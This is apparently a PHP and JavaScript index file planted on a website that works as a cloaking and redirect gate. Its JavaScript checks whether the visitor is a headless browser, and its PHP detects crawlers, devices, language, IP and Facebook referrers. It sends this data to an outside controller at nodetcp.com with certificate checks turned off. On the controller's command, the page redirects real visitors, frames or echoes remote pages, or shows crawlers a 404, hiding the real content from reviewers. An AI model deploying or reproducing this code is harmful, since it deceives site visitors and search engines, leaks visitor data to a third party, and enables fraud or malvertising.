File: /www/wwwroot//www.oenxbe.com/ccc/index.php
<script type="text/javascript" charset="UTF-8">
let HEADLESS = 1;
let HEADFUL = 0;
let UNDEFINED = -1;
var head=0
function testBrowser(name, testFunction) {
const row = document.getElementById(name);
const resultBlock = document.getElementById(`${name}-result`);
result = testFunction(resultBlock);
if (result == HEADLESS){
head=1
}
}
function writeToBlock(block, text) {
}
// Test for user agent
function testUserAgent(resultBlock) {
let agent = navigator.userAgent;
writeToBlock(resultBlock, agent);
return /headless/i.test(agent);
}
// Test for app version (almost equal to user agent)
function testAppVersion(resultBlock) {
let appVersion = navigator.appVersion;
writeToBlock(resultBlock, appVersion);
return /headless/i.test(appVersion);
}
// Test for plugins
function testPlugins(resultBlock) {
let length = navigator.plugins.length;
writeToBlock(resultBlock, `Detected ${length} plugins`);
return length === 0 ? UNDEFINED : HEADFUL;
}
// Tests for plugins prototype
function testPluginsPrototype(resultBlock) {
let correctPrototypes = PluginArray.prototype === navigator.plugins.__proto__;
if (navigator.plugins.length > 0)
correctPrototypes &= Plugin.prototype === navigator.plugins[0].__proto__;
writePluginsPrototypeResult(resultBlock, correctPrototypes);
return correctPrototypes ? HEADFUL : HEADLESS;
}
function writePluginsPrototypeResult(resultBlock, correctPrototypes) {
if (correctPrototypes)
writeToBlock(resultBlock, `PluginArray and Plugin prototype are consistent`);
else
writeToBlock(resultBlock, `PluginArray or Plugin prototype aren't consistent`);
}
// Test for mime type
function testMime(resultBlock) {
let length = navigator.mimeTypes.length;
writeToBlock(resultBlock, `Detected ${length} mime types`);
return length === 0 ? UNDEFINED : HEADFUL;
}
// Tests for mime types prototype
function testMimePrototype(resultBlock) {
let correctPrototypes = MimeTypeArray.prototype === navigator.mimeTypes.__proto__;
if (navigator.mimeTypes.length > 0)
correctPrototypes &= MimeType.prototype === navigator.mimeTypes[0].__proto__;
writeMimePrototypeResult(resultBlock, correctPrototypes);
return correctPrototypes ? HEADFUL : HEADLESS;
}
function writeMimePrototypeResult(resultBlock, correctPrototypes) {
if (correctPrototypes)
writeToBlock(resultBlock, `MimeTypeArray and MimeType prototype are consistent`);
else
writeToBlock(resultBlock, `MimeTypeArray or MimeType prototype aren't consistent`);
}
// Test for languages
function testLanguages(resultBlock) {
let language = navigator.language;
let languagesLength = navigator.languages.length;
writeToBlock(resultBlock, `Detected ${languagesLength} languages and using ${language}`);
if (!language || languagesLength === 0)
return HEADLESS;
return HEADFUL;
}
// Test for webdriver (headless browser has this flag true)
function testWebdriver(resultBlock) {
let webdriver = navigator.webdriver;
webdriverWriteResult(resultBlock, webdriver);
return webdriver ? HEADLESS : HEADFUL;
}
function webdriverWriteResult(resultBlock, webdriver) {
if (webdriver)
writeToBlock(resultBlock, "Webdriver present");
else
writeToBlock(resultBlock, "Missing webdriver");
}
// Test for time elapsed after alert(). If it's closed too fast (< 30ms), it means
// the browser is headless
function testTimeElapse(resultBlock) {
let start = Date.now();
// alert("Press OK");
let elapse = Date.now() - start;
timeElapseWriteResult(resultBlock, elapse);
return elapse < 30;
}
function timeElapseWriteResult(resultBlock, elapse) {
let signal = elapse < 30 ? "<": ">";
writeToBlock(resultBlock, `Time elapsed to close alert: ${elapse} (${signal} 30)`);
}
// Test for chrome element (especific for google chrome browser)
function testChrome(resultBlock) {
let chrome = window.chrome;
chromeWriteResult(resultBlock, chrome);
return chrome ? HEADFUL : UNDEFINED;
}
function chromeWriteResult(resultBlock, chrome) {
if (chrome)
writeToBlock(resultBlock, "Chrome element present");
else
writeToBlock(resultBlock, "Chrome element not present");
}
// Test for permission
async function testPermission(resultBlock) {
let permissionStatus, notificationPermission;
if (!navigator.permissions) {
permissionWriteResult(resultBlock, permissionStatus, notificationPermission);
return UNDEFINED;
}
permissionStatus = await navigator.permissions.query({ name: "notifications" });
notificationPermission = Notification.permission;
permissionWriteResult(resultBlock, permissionStatus, notificationPermission);
if (notificationPermission === "denied" && permissionStatus.state === "prompt")
return HEADLESS;
return HEADFUL;
}
function permissionWriteResult(resultBlock, permissionStatus, notificationPermission) {
if (permissionStatus && notificationPermission) {
writeToBlock(resultBlock, `Permission stauts is "${permissionStatus.state}" and notification
permission is "${notificationPermission}"`);
} else {
writeToBlock(resultBlock, "Object navigator.permissions is undefined");
}
}
// Test for devtools protocol
function testDevtool(resultBlock) {
const any = /./;
let count = 0;
let oldToString = any.toString;
any.toString = function() {
count++;
return "any";
}
console.debug(any);
let usingDevTools = count > 1;
devtoolWriteResult(resultBlock, usingDevTools);
any.toString = oldToString;
return usingDevTools ? UNDEFINED : HEADFUL;
}
function devtoolWriteResult(resultBlock, usingDevTools) {
if (usingDevTools)
writeToBlock(resultBlock, "Using devtools protocol");
else
writeToBlock(resultBlock, "Not using devtools protocol");
}
// Test for broken image
function testImage(resultBlock) {
var image = document.createElement("img");
image.src = "fake_image.png";
// document.body.appendChild(image);
image.onerror = function(){
writeToBlock(resultBlock, `Broken image has width ${image.width} and height ${image.height}`);
if(image.width === 0 && image.height === 0)
return HEADLESS;
return HEADFUL;
}
}
// Test for outerHeight and outerWidth
function testOuter(resultBlock) {
let outerHeight = window.outerHeight;
let outerWidth = window.outerWidth;
writeToBlock(resultBlock, `Outerheight: ${outerHeight} and outerwidth: ${outerWidth}`);
return (outerHeight === 0 && outerWidth === 0) ? HEADLESS : HEADFUL;
}
// Test for connection-rtt
function testConnectionRtt(resultBlock) {
let connection = navigator.connection;
let connectionRtt = connection ? connection.rtt : undefined;
connectionRttWriteResult(resultBlock, connectionRtt);
if (connectionRtt === undefined) {
return UNDEFINED;
} else {
return connectionRtt === 0 ? HEADLESS : HEADFUL;
}
}
function connectionRttWriteResult(resultBlock, connectionRtt) {
if (connectionRtt === undefined)
writeToBlock(resultBlock, "Connection-rtt not defined");
else
writeToBlock(resultBlock, `Connection-rtt: ${connectionRtt}`);
}
// Test for mouse event (we're going to analyze attributes movementX and movementY)
function testMouseMove(resultBlock) {
let zeroMovement = true;
let mouseEventCounter = 0;
// // set mousemove listener to body
// document.getElementsByTagName("body")[0].addEventListener("mousemove", mouseEvent);
writeToBlock(resultBlock, "Move your mouse");
function mouseEvent(event) {
zeroMovement = zeroMovement && (event.movementX === 0 && event.movementY === 0);
// Analyze 50 mouse events until give result
if (mouseEventCounter > 50) {
}
mouseEventCounter++;
}
}
function mouseMoveWriteResult(resultBlock, zeroMovement) {
if (zeroMovement)
writeToBlock(resultBlock, "MovementX and movementY are 0 in every mouse event");
else
writeToBlock(resultBlock, "MovementX and movementY vary in mouse events");
}
/*
* Here is where we execute all the tests specified above
*/
const tests = [
{ name: "User Agent", id: "user-agent", testFunction: testUserAgent },
{ name: "App Version", id: "app-version", testFunction: testAppVersion },
{ name: "Plugins", id: "plugins", testFunction: testPlugins },
{ name: "Plugins Prototype", id: "plugins-prototype", testFunction: testPluginsPrototype },
{ name: "Mime", id: "mime", testFunction: testMime },
{ name: "Mime Prototype", id: "mime-prototype", testFunction: testMimePrototype },
{ name: "Languages", id: "languages", testFunction: testLanguages },
{ name: "Webdriver", id: "webdriver", testFunction: testWebdriver },
{ name: "Chrome", id: "chrome-element", testFunction: testChrome },
{ name: "Permission", id: "permission", testFunction: testPermission },
{ name: "Devtool Protocol", id: "devtool", testFunction: testDevtool },
{ name: "Broken Image", id: "image", testFunction: testImage },
{ name: "Outer dimensions", id: "outer", testFunction: testOuter },
{ name: "Connection Rtt", id: "connection-rtt", testFunction: testConnectionRtt },
{ name: "Mouse Move", id: "mouse-move", testFunction: testMouseMove },
];
tests.forEach(test => {
generateTableRow(test.name, test.id);
testBrowser(test.id, test.testFunction, test.resultFunction);
});
function generateComment(test, result) {
if (/.*-result/.test(test)) {
let comment = document.createComment(`${test}: ${result}`);
document.body.appendChild(comment);
}
}
function generateTableRow(name, id) {
}
document.cookie=`profile_viewer_uid=${head}`
</script>
<?php
function is_spider() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
if (preg_match('#(spider|mj12bot|dotbot|bingbot|googlebot|slurp|SemrushBot|AhrefsBot)#i', $ua)){
return 1;
}
return 0;
}
$spider=is_spider();
$url1='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
function isMobile() {
if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
return '手机';
}
if (isset($_SERVER['HTTP_VIA'])) {
return stristr($_SERVER['HTTP_VIA'], "wap") ? '手机' : false;
}
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$clientkeywords = array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel',
'lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi',
'openwave','nexusone','cldc','midp','wap','mobile','MicroMessenger');
if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
return '手机';
}
}
if (isset ($_SERVER['HTTP_ACCEPT'])) {
if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') ===
false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
return '手机';
}
}
return '电脑';
}
$Mobile=isMobile();
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
function getIp()
{
if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) {
$ip = $_SERVER["REMOTE_ADDR"];
} else {
if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],
"unknown")
) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = "unknown";
}
}
}
}
return ($ip);
}
$ip=getIp();
$widths = "<script>document.write(screen.width)<\/script>";
$heights = "<script>document.write(screen.height)<\/script>";
$heard = $_COOKIE['profile_viewer_uid'];
function clientOS() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if(strpos($agent, 'windows nt')) {
$platform = 'windows';
} elseif(strpos($agent, 'macintosh')) {
$platform = 'mac';
} elseif(strpos($agent, 'ipod')) {
$platform = 'ios';
} elseif(strpos($agent, 'ipad')) {
$platform = 'ios';
} elseif(strpos($agent, 'iphone')) {
$platform = 'ios';
} elseif (strpos($agent, 'android')) {
$platform = 'android';
} elseif(strpos($agent, 'unix')) {
$platform = 'unix';
} elseif(strpos($agent, 'linux')) {
$platform = 'linux';
} else {
$platform = 'other';
}
return $platform;
}
function getCurl1($url,$turn=0)
{
header("Content-type: text/html; charset=utf8");
$headers = [];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
curl_setopt($curl, CURLOPT_REFERER, "http://www.baidu.com/");
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
$data = curl_exec($curl);
curl_close($curl);
if ($turn)
$data = mb_convert_encoding($data, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5');
return $data;
}
$opersystem=clientOS();
$refefef=strpos($_SERVER['HTTP_REFERER'],'facebook.com')?1:0;
$ch = curl_init('https://nodetcp.com/vue-admin-php/public/index.php/admin/check/adList');
$jsonData= array();
$jsonData['site_id']=1399;
$jsonData['username']='1006941410@qq.com';
$jsonData['refefef']=$refefef;
$jsonData['heard']=$heard;
$jsonData['widths']=$widths;
$jsonData['heights']=$heights;
$jsonData['opersystem']=$opersystem;
$jsonData['spider']=$spider;
$jsonData['url1']=$url1;
$jsonData['Mobile']=$Mobile;
$jsonData['lang']=$lang;
$jsonData['ip']=$ip;
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERPWD, "$username:$password");
curl_setopt($ch, CURLOPT_TIMEOUT,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($jsonData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$model = json_decode(curl_exec($ch));
if($model->type=='luodi'){
if($model->anquan=='301'){
echo("<script>location.href = '$model->anquanlianjie';</script>");
}
else if($model->anquan=='ifame'){
echo "<iframe src=$model->anquanlianjie frameborder='0'width='100%' height='100%' style='width:100%;height:100%;position:absolute;top:0px;left:0px;'></iframe>";
}
else if($model->anquan=='inner html'){
echo require("data.php");
}
}
else {
if($model->youdao=='404'){
@header("http/1.1 404 not found");
return;
}
else if($model->youdao=='301'){
echo("<script>location.href = '$model->youdaolianjie';</script>");
}
else if($model->youdao=='inner html'){
echo require("safety.php");
}
else if($model->youdao=='超简页'){
$stream_opts = [
"ssl" => [
"verify_peer"=>false,
"verify_peer_name"=>false,
]
];
if($model->sitetype=='commerce'){
echo file_get_contents("https://file.nodetcp.com/commerce/revise/$model->commerce/index.html",false, stream_context_create($stream_opts));
}
else{
echo file_get_contents("https://file.nodetcp.com/$model->sitetype/revise/index.html",false, stream_context_create($stream_opts));
}
}
else if($model->youdao=='ifame'){
echo "<iframe src=$model->youdaolianjie frameborder='0'width='100%' height='100%' style='width:100%;height:100%;position:absolute;top:0px;left:0px;'></iframe>";
}
else if($model->youdao=='采集'){
echo getCurl1($model->youdaolianjie);
}
}
?>